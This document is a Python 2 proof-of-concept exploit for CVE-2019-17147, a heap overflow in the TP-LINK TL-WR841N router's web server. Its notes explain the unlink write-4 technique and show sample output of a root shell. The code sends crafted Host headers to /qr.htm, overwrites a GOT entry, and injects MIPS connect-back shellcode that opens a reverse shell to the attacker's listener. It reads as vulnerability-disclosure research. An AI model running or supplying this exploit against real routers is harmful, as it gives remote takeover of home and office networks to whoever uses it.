#!/usr/bin/python2 """ TP-LINK TL-WR841N Web Service http_parser_main Buffer Overflow Remote Code Execution Vulnerability Firmware Version: 0.9.1 4.16 v0348.0 Build 180319 Rel.34297n ZDI: https://www.zerodayinitiative.com/advisories/ZDI-19-992/ CVE: CVE-2019-17147 Thanks to Nguyen Hoang Thach for the discovery and Vincent Lee for help with the dumb questions! # Notes - My motivation for this was that I wanted to get into IoT hacking - Exploitation works by targeting the write 4 when unlinking node structures : 0x4045e0 sw $v1, 4($v0) ; this is the one we use 0x4045e4 lw $v1, 4($s0) 0x4045e8 nop 0x4045ec sw $v0, ($v1) ; we can avoid this - This exploit uses partial overwrite thanks to mips-le to get a null byte at the end of our host header # Example ``` researcher@iot:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.1.1 192.168.1.101 researcher@iot:~$ ./poc.py 192.168.1.1 192.168.1.101 (+) sending exploit to 192.168.1.1 (+) targeting blink via heap overflow... (+) targeting flink via heap overflow... (+) overwriting got entry... (+) starting handler on port 31337 (+) connection from 192.168.1.1 (+) pop thy shell! cat /proc/version Linux version 2.6.36 (tomcat@buildserver) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Mon Mar 19 09:25:41 CST 2018 cat /proc/cpuinfo system type : MT7628 processor : 0 cpu model : MIPS 24Kc V5.5 BogoMIPS : 386.04 wait instruction : yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb] ASEs implemented : mips16 dsp shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available exit *** Connection closed by remote host *** ``` # References - https://www.thezdi.com/blog/2019/9/2/mindshare-hardware-reversing-with-the-tp-link-tl-wr841n-router - https://www.thezdi.com/blog/2019/12/2/mindshare-hardware-reversing-with-the-tp-link-tl-wr841n-router-part-2 """ import sys import urllib import base64 import socket import urllib2 import telnetlib from pwn import * from threading import Thread from httplib import BadStatusLine class WebService: def __init__(self, ip, port=80): self.rooturl = "http://" + ip + ':' + str(port) def make_req(self, path, arg=None, host='', has_ContentLength=False): headers = {'Host': host} if has_ContentLength: headers['Content-Length'] = '0' if arg is not None: parameter = arg parameter = urllib.urlencode(parameter) fullurl = self.rooturl + path + '?' + parameter else: fullurl = self.rooturl + path req = urllib2.Request(fullurl, None, headers) response = urllib2.urlopen(req) data = response.read() return data def handler(lp): """ this is the client handler, to catch the connectback """ print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def shellcode(ip): # port listen : 31337 ip = p32(int(socket.inet_aton(ip).encode('hex'),16)) shell = "" shell += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shell += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shell += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shell += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shell += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shell += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" shell += "\xf8\xff\xa5\xaf" + ip[:2][::-1] + "\x05\x3c" + ip[2:][::-1] + "\xa5\x34\xfc\xff\xa5\xaf" shell += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shell += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shell += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shell += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shell += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shell += "\xab\x0f\x02\x24\x0c\x09\x09\x01" return shell def exploit(target_ip, connectback_ip): w = WebService(target_ip) # target ip shellcode_addr = 0x438174 # what """ researcher@iot:~$ mips-linux-gnu-readelf -A httpd | grep atol 00423640 -32320(gp) 0040bed0 0040bed0 FUNC UND atoll 00423774 -32012(gp) 0040ba30 0040ba30 FUNC UND atol """ atol_got_addr = 0x423774 - 0x4 # where host_padding = 'a' * 512 print "(+) sending exploit to %s" % (target_ip) host_str = host_padding + 'aaaa' + p32(shellcode_addr) print "(+) targeting blink via heap overflow..." w.make_req('/qr.htm', host=host_str) # overwrite blink host_str = host_padding + p32(atol_got_addr) print "(+) targeting flink via heap overflow..." w.make_req('/qr.htm', host=host_str) # overwrite flink print "(+) overwriting got entry..." w.make_req('/qr.htm', {'_':'hello'}) # trigger unlink write4 host_str = 'q' * 0x40 + shellcode(connectback_ip) w.make_req('/qr.htm', host=host_str) handlerthr = Thread(target=handler, args=(31337,)) handlerthr.start() try: w.make_req('/qr.htm', has_ContentLength=True) except BadStatusLine: pass if __name__ == '__main__': context.arch='mips' if len(sys.argv) != 3: print '(+) usage: %s ' % sys.argv[0] print '(+) eg: %s 192.168.1.1 192.168.1.101' % sys.argv[0] exit() exploit(sys.argv[1], sys.argv[2])